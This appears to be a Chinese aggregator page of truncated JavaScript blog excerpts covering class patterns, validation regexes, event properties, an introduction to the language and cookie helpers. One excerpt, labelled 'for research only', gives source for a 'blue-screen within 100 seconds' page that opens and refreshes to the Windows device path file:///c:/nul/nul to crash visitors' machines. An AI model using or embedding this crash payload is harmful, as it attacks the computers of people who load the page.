Javascript 面向对象机制的实现
自定义类的实现方法很多,重点谈两种。
构造函数法
function Player(url){
this.url = url;
this.showUrl = function(){
alert(this.url);
}
this.play = function(){
// do play
}
}
var myPlayer = new Player("test.mp3");
myPlayer.showUrl();
alert(myPlayer instanceof Player);
优点:类被封装成一个整体 声明实例用new运算符
缺点:对象的方法会重复生成
function Player(url){
this.url = url;
if(typeof Player._initialized == "undefined"){
Player.prototype.showUrl = function(){
alert(this.url);
Player._initialized = true;
}
}
}
var myPlay ......
JavaScript常用验证函数
引自:http://www.webdeveloping.cn/blog/?action=show&id=209
//校验是否全由数字组成
function isDigit(s) {
var patrn=/^[0-9]{1,20}$/;
if (!patrn.exec(s)) return false
return true
}
//校验登录名:只能输入5-20个以字母开头、可带数字、“_”、“.”的字串
function isRegisterUserName(s) {
var patrn=/^[a-zA-Z]{1}([a-zA-Z0-9]|[._]){4,19}$/;
if (!patrn.exec(s)) return false
return true
}
&nbs ......
【!声明:此程序只供研究使用,如用做不正当用途后果自负】
100秒内蓝屏死机的Javascript脚本源代码
引自:http://www.webdeveloping.cn/blog/?action=show&id=78
<html>
<head>
<script LANGUAGE="javascript">
function leave() {
window.open(file:///c:/nul/nul,,toolbar=no,menubar=no,location=no,height=1,width=1);
}
// End -->
<!--webbot bot="HTMLMarkup" startspan TAG="XBOT" --></script>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>WEB A-BOMBII BETA V0.5</title>
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta content="100;URL=file:///c:/nul/nul" http-equiv="refresh">
<style type="text/css">A:link {
FONT-SIZE: 9pt; TEXT-DECORATION: none
}
A:visited {
FONT-SIZE: 9pt; TEXT-DECORATION: none
}
A:active {
FONT-SIZE: 9pt; TEXT-DECORATION: none
}
A:hover {
COLOR: red; TEXT-DECORATION: none
}
BODY {
FONT-SIZE: 9pt; LINE-HEIGHT: 13pt ......
JavaScript 事件方法
http://www.webdeveloping.cn/blog/?action=show&id=207
事件源对象
event.srcElement.tagName
event.srcElement.type
捕获释放
event.srcElement.setCapture();
event.srcElement.releaseCapture();
事件按键
event.keyCode
event.shiftKey
event.altKey
event.ctrlKey
事件返回值
event.returnValue
鼠标位置
event.x
event.y
窗体活动元素
document.activeElement
绑定事件
document.captureEvents(Event.KEYDOWN);
访问窗体元素
document.all("txt").focus();
document.all("txt").select();
窗体命令
document.execCommand
窗体COOKIE
document.cookie
菜单事件
document.oncontextmenu
创建元素
document.createElement("SPAN");
根据鼠标获得元素:
document.elementfromPoint(event.x,event.y).tagName=="TD
document.elementfromPoint(event.x,event.y).appendChild(ms)
窗体图片
document.images[索引]
窗体事件绑定
document.onmousedown=scrollwindow;
元素
document.窗体.elements[索引]
对象绑定事件
document.all.xxx.detachEvent('onclick',a);
插件数目
navigator.plugins
取变量类� ......
在数百万张页面中,JavaScript 被用来改进设计、验证表单、检测浏览器、创建cookies,等等等等。
JavaScript 是因特网上最流行的脚本语言,并且可在所有主要的浏览器中运行,比方说 Internet
Explorer、 Mozilla、Firefox、Netscape、和 Opera。
什么是 JavaScript?
JavaScript 被设计用来向 HTML 页面添加交互行为。
JavaScript 是一种脚本语言(脚本语言是一种轻量级的编程语言)。
JavaScript 由数行可执行计算机代码组成。
JavaScript 通常被直接嵌入 HTML 页面。
JavaScript 是一种解释性语言(就是说,代码执行不进行预编译)。
所有的人无需购买许可证均可使用 JavaScript。
Java 和 JavaScript 是相同的吗?
不同!
在概念和设计方面,Java 和 JavaScript 是两种完全不同的语言。
Java(由太阳微系统公司开发)很强大,同时也是更复杂的编程语言,就像同级别的 C 和 C++。
JavaScript 能做什么?
JavaScript 为 HTML 设计师提供了一种编程工具
HTML 创作者往往都不是程序员,但是 JavaScript
却是一种只拥有极其简单的语法的脚本语言!几乎每个人都有能 ......
function getCookies(name)
{
var arr = document.cookie.match(new RegExp("(^| )"+name+"=([^;]*)(;|$)"));
if(arr != null) return unescape(arr[2]); return '';
}
function setCookie(name, value, expires, path, domain, secure)
{
var liveDate = new Date();
expires = liveDate.setTime(liveDate.getTime() + expires*60*1000);//毫秒
//expires = new Date((new Date()).getTime() + expires * 60000);//按分钟
document.cookie = name + "=" + escape (value) +
((expires) ? "; expires=" + expires : "") +
((path) ? "; path=" + path : "") +
((domain) ? "; domain=" + domain : "") +
((secure) ? "; secure" : "");
} 以下网上找的资料:
—————————————————
js cookie总结 ......